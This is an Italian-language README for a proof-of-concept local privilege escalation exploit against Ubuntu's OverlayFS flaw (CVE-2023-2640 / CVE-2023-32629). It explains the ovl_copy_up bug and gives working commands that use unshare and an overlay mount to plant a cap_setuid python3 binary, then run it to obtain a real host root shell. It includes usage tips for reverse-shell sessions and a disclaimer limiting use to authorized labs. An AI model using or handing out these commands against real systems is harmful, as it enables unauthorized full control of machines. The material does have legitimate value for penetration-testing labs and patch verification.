
Un exploit pulito, interattivo e multi-step per Ubuntu OverlayFS (GameOver(lay)) che elude il sandbox dello user namespace per ottenere una vera shell di root sull'host.
Una Proof of Concept (PoC) interattiva e a più fasi per l'Escalation dei Privilegi Locali (LPE) che mira alle vulnerabilità OverlayFS del kernel Linux Ubuntu (CVE-2023-2640 / CVE-2023-32629).
A differenza dei soliti one-liner automatizzati che intrappolano la tua shell interattiva all'interno di un restrittivo User Namespace (Fake Root), questa metodologia suddivide la sequenza dello sfruttamento per ottenere in modo sicuro una vera shell root host senza restrizioni.
Molti exploit pubblici concatenano la configurazione e l'esecuzione in un'unica sequenza di shell automatizzata come questa:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Poiché il payload di esecuzione Python è incorporato all'interno delle virgolette di unshare, esso viene eseguito internamente nel sandbox del namespace utente.
uid=0(root), ma la tua shell è crittograficamente isolata dall'host. Se provi a visualizzare la directory root dell'host (cd /root), otterrai un errore Permission Denied.Questa PoC suddivide il processo in due fasi logiche distinte:
unshare per falsificare i permessi di root giusto il tempo necessario per sfruttare il difetto ovl_copy_up di OverlayFS, rilasciando una capacità setcap cap_setuid+eip ad alta privilegio in una cartella locale di binari Python.os.setuid(0) e ti conferisce veri privilegi di amministrazione di sistema a livello host.ovl_copy_up_meta_inode_data del kernel Ubuntu che consente di bypassare completamente i controlli di convalida durante la migrazione dei file.6.2.0-26-generic.exploit.sh sulla macchina di destinazione (ad esempio, in /tmp).chmod +x exploit.sh
./exploit.sh
Se stai lavorando con una reverse shell volatile, esegui questi comandi separatamente, premendo Enter dopo ogni riga:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Verifica i tuoi veri privilegi controllando il tuo profilo utente corrente:
whoami
cat /root/root.txt
I meccanismi di base dell'exploit utilizzati in questo refactoring interattivo sono stati originariamente scoperti e documentati dai ricercatori di sicurezza Liav Eliyahu e g1vi.
Questo repository è stato creato esclusivamente per scopi educativi, di ricerca sulla sicurezza e di test di penetrazione autorizzati (come i laboratori HackTheBox / OffSec). L'autore non si assume alcuna responsabilità per uso improprio, tentativi di accesso non autorizzato o danni all'infrastruttura causati da questo materiale. Usalo in modo responsabile.